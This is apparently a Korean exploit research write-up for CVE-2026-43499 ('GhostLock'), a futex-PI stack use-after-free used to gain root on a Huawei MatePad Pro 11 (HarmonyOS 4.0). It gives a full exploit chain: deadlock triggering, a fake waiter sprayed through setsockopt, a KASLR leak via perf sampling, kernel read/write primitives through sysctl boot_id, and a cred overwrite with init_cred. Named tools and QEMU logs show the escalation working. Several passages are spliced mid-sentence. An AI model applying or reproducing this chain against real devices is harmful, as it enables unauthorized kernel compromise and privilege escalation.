
HUAWEI MatePad Pro 11 GOT-W29에 대한 CVE-2026-43499 (GhostLock) 연구
GOT-W29(HarmonyOS 4.0, kernel 4.19.157-perf+)에서의
CVE-2026-43499(rtmutex/futex-PI 스택 UAF, "GhostLock") 권한 상승 연구.
FUTEX_CMP_REQUEUE_PI를 -EDEADLK로
반환하게 만들고, 롤백 경로가 remove_waiter()의 current != waiter->task 정리 버그를
활성화한다(본 커널 kernel/locking/rtmutex.c:1110-1112, 업스트림 수정 3bfdc63936dd),
waiter의 pi_blocked_on이 댕글링 상태가 된다(자신의 커널 스택 E-0x1b0 위치의 rt_waiter를 가리킴).kernel.patched, GDB/KPM 주입 없음):
EDEADLK 댕글링 → setsockopt(SOL_IP, MCAST_BLOCK_SOURCE, group_source_req 0x108)
로 fake waiter 전달(copy 착지점 E-0x210, waiter를 buf+0x60에 두어 정확히 E-0x1b0을 덮음)
→ sched_setattr로 walk 트리거 → rb_erase가 sysctl_bootid에 쓰기, 도구 자체 검증
write_ok=1(boot_id 상위 8바이트 = 0xffffff800b412320).sock_setsockopt의 0x80 프레임을
setsockopt 체인에 포함시켰다. 디스어셈블리 + QEMU 실측으로 __arm64_sys_setsockopt가
level != SOL_SOCKET에 대해 바로 blr ops->setsockopt 함을 확인, sock_setsockopt를
거치지 않는다. 수정 후 do_ip_setsockopt 복사 깊이 = 0x210(기존 판정 0x290), 기하학적으로
맞음. 배제된 메커니즘: pselect/select, ptrace, import_iovec, ppoll, SCTP(실측 0x158).--root 참조). HKIP 차이: GOT-W29 커널 심볼 테이블과
이미지에 hkip_*/hypervisor 훅이 없고, 전체 이미지의 97개 hvc 명령어도 cred/cap/SELinux
경로에 없음(KVM/SMCCC/디버그 전송 드라이버뿐), 즉 mrx의 hypervisor xid 보호는 본 기기에
존재하지 않을 가능성이 높다 — 실기기에서는 일반 root 절차로 바로 진행 가능.| 항목 | 값 |
|---|---|
| 모델 | HUAWEI MatePad Pro 11 GOT-W29 |
| SoC | Qualcomm kona (SM8250, Snapdragon 870) |
| 시스템 | HarmonyOS 4.0 (104.0.0.136) |
| 커널 | 4.19.157-perf+(boot.elf 디스어셈블리 + firmware/symtab.txt) |
| VA | 39-bit, 4K pages, KASLR on |
adb shell 또는 Shizuku 모두 가능.pm disable-user com.huawei.powergenie
pm disable-user com.huawei.iaware
메커니즘: PI 링(waiter→target→owner→chain→waiter)을 만들어
FUTEX_CMP_REQUEUE_PI가 EDEADLK 롤백을 타게 하고, 롤백 중 remove_waiter(lock, waiter)가
waiter->task가 아닌 current(requeue 스레드)로 정리한다:
rt_mutex_dequeue는 실제 waiter 노드를 제거하지만 waiter의 pi_blocked_on은
정리되지 않는다(current->pi_blocked_on = NULL), 커널 스택 rt_waiter를 가리키는
댕글링 포인터가 된다.
값 보유 링(probe 링, 실측 안정적으로 -EDEADLK):
FUTEX_LOCK_PI(chain)로 chain 보유; FUTEX_WAIT_REQUEUE_PI(wait, 0, target)FUTEX_LOCK_PI(target)로 target 보유; FUTEX_LOCK_PI(chain) 블록FUTEX_CMP_REQUEUE_PI(wait, 1, target) → -EDEADLKWAIT_REQUEUE_PI 2s) 후 댕글링 pi_blocked_on이 스택에 남음주의: 기존 "self-own" 트리거, edeadlk_probe variant 11의 -EDEADLK는 모두
owner==task 조기 반환(rtmutex.c:1035)으로 댕글링 포인터를 만들지 않으며 무효.
perf_event_paranoid=-1에서 perf_event_open(PERF_SAMPLE_IP, exclude_user=1)로
커널 텍스트 클러스터를 샘플링, 알려진 심볼 오프셋에 정렬해 slide 획득:
samples=27651 kernel_ips=1685 lo=0xffffff948728176c hi=0xffffff9488ebfc7c
KASLR slide=0x147f200000 runtime _stext=0xffffff9487280800
도구: tools/perf_kaslr.c.
[M] CMP_REQUEUE_PI ret=-1 errno=35 (EDEADLK!)
[W] WAIT_REQUEUE_PI ret=-1 errno=110 (ETIMEDOUT) ← waiter 반환, pi_blocked_on 댕글링
도구: tools/edeadlk_probe.c.
rt_mutex_adjust_prio_chain의 walk가 댕글링 pi_blocked_on 위치의 fake rt_waiter를 읽음:
next_lock == waiter->lock(lock = empty_zero_page의 독립 슬롯, 아래 참조)raw_spin_trylock(&lock->wait_lock) 제로 락 성공rt_mutex_dequeue → rb_erase 단일 좌자식 경로: *(rb_left) = rb_parent_color
→ 값 0xffffff800b412320(&loggers[0][1])을 sysctl_bootid + 8에 쓰기owner-ful 페이지 / prepare_skb_payload / kernelsnitch 불필요. fake rt_mutex는
walk 간에 같은 슬롯을 재사용할 수 없다: walk 종료 시 waiters.root/leftmost가 락 안에
이번 waiter를 가리키는 상태로 남고, 두 번째 walk가 옛 노드를 읽으면 이전 라운드에서 해제된
커널 스택을 역참조해 rt_mutex_top_waiter()의 BUG_ON(w->lock != lock)을 트리거한다
(QEMU 실측: --verify-all의 두 번째 테스트가 바로 BUG). 구현상 매 attempt마다
empty_zero_page + n*0x20을 취한다(총 128개 슬롯, SLIDE_LOCK_STRIDE/SLOTS), 자연히
전부 0이고 서로 오염되지 않는다.
QEMU(kernel.patched, nokaslr, --probe-cycle --verify-all) 도구 자체 검증 출력:
4.483 237 [+] slide write boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=ffffff800b412320 ok=1
4.547 1 [+] slide write test PASSED
6.583 240 [+] slide leaf boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=0 ok=1
6.636 1 [+] slide leaf test PASSED
8.671 243 [+] slide read boot_id raw=100000002401000030d74c0b80ffffff lo=0000012400000010 hi=ffffff800b4cd730 exp_lo=0000012400000010 exp_hi=ffffff800b4cd730 ok=1
8.724 1 [+] slide read test PASSED
10.811 1 [+] slide restore test PASSED
10.811 1 [+] slide verify all PASSED
(매 attempt의 requeue=-1/35 trigger=0/0 wait=-1/110 carrier=-1/22 일치:
EDEADLK, walk 성공, hrtimer 타임아웃, 캐리어 복사 성공 후 가짜 주소 그룹 때문에 EINVAL 반환.)
주의: 검증 대상은 boot_id + 8에 쓴다: proc_do_uuid()는 bootid[8] == 0일 때
전체 UUID를 재생성하므로, 하위 8바이트에 쓰면 검증 읽기 자체에 덮어써진다(QEMU 실측 확인).
--verify-all 전면 자체 점검)| 형태 | fake waiter tree 세 단어 | 효과 |
|---|---|---|
| pointer(rb_erase Case 2: 단일 좌자식) | pc=value, right=0, left=target | *(target) = value(64비트 전체, 색상 비트 보존); 부작용 *(value+8) = target, 따라서 value는 읽기 가능해야 하고 그 +8은 희생 가능해야 함 |
| leaf(Case 1: 자식 없음) | pc=target-8, right=0, left=0 | *(target) = 0; 깨끗한 쓰기 한 번(부작용 없음), pc 하위 비트=0 → RED → rebalance 미트리거, 하지만 __rb_change_child가 *(target-8)을 한 번 읽음 |
random_table[4].data(= &sysctl_bootid, link 0xffffff800b4cd730; .rela.dyn에서
유일하게 addend=0xffffff800b7f8b64인 R_AARCH64_RELATIVE로 확인)를 쓰기 프리미티브로
대상 주소 A로 바꾼 뒤, /proc/sys/kernel/random/boot_id를 읽으면 [A, A+16)을 반환한다.
주의:
proc_do_uuid()는 ((u8 *)A)[8] == 0일 때 16바이트 UUID를 재생성한다(그리고 A를 덮어씀),
읽기 창의 byte 8은 반드시 0이 아니어야 함;A+8 = .data 슬롯 주소에 쓰므로, 읽어들인 상위 절반은 항상
그 슬롯 주소가 된다; 정확히 16바이트를 읽어야 할 때는 이 위치를 피해야 함.--verify-read 자체 점검: .data를 boot_id ctl_table 항목 +0x10(maxlen=16, mode=0444 → 상수 0x0000012400000010)으로 가리켜 읽고, restore 단계로
sysctl_bootid로 되돌린다.
--escalate(기기 shell 경로와 동일, 전 과정 RT 없음):
PERF_COUNT_SW_CPU_CLOCK + PERF_SAMPLE_REGS_INTR
(arm64 33개 레지스터), 트리거는 nanosleep(1µs) 사용(단일 태스크일 때 sched_yield는
__schedule에 진입하지 않음). __schedule 내 x27 취득: mrs x27, sp_el0는 +0x40에
있지만, +0x68의 ldr w8, [x27, 0x50]!가 x27을 0x50 올리므로 되돌려야 함; 후보는
64바이트 정렬 요구.task+0x990을 읽어 "ghostloc"과 같을 때만 계속
(읽기 부작용이 comm 상위 8바이트를 망가뜨리지만 프로세스 이름 표시에만 영향).task+0x980(real_cred) / task+0x988(cred) ← init_cred
(0xffffff800b42e9c0), 이후 본 프로세스 getuid()==0.init_cred+8(gid)을 대상 주소로 덮어쓰므로, leaf 제로
쓰기로 복원; 마지막으로 boot_id .data를 sysctl_bootid로 되돌림.QEMU 실측(--no-rt --attempts 4, uid 2000에서 시작):
escalate: candidate 1/1 task=ffffffc07a373240 (n=12)
slide read8 boot_id ... lo=636f6c74736f6867 ... ok=1 # "ghostloc" 확인
slide escalate-cred attempt 1 ok=1 ... target=ffffffc07a373bc8
slide child pid=246 uid=0 ... # 이후 자식 프로세스는 이미 root
init: ghostlock_exe exited status=0x0 (SUCCESS) # wrapper 독립 종료 코드 표시
실패 모드(flaky): 몇 attempt마다 한 번씩 walk가 rt_mutex_adjust_prio_chain의
raw_spin_trylock 재시도 루프에 걸린다(fake waiter가 반환 경로에 clobber됨), 해당
attempt가 타임아웃되는 형태; --attempts N으로 재시도(기기 측도 mrx와 동일: 성공할 때까지 재시도).
--root, 최종 단계 메커니즘은 QEMU에서 테스트 가능)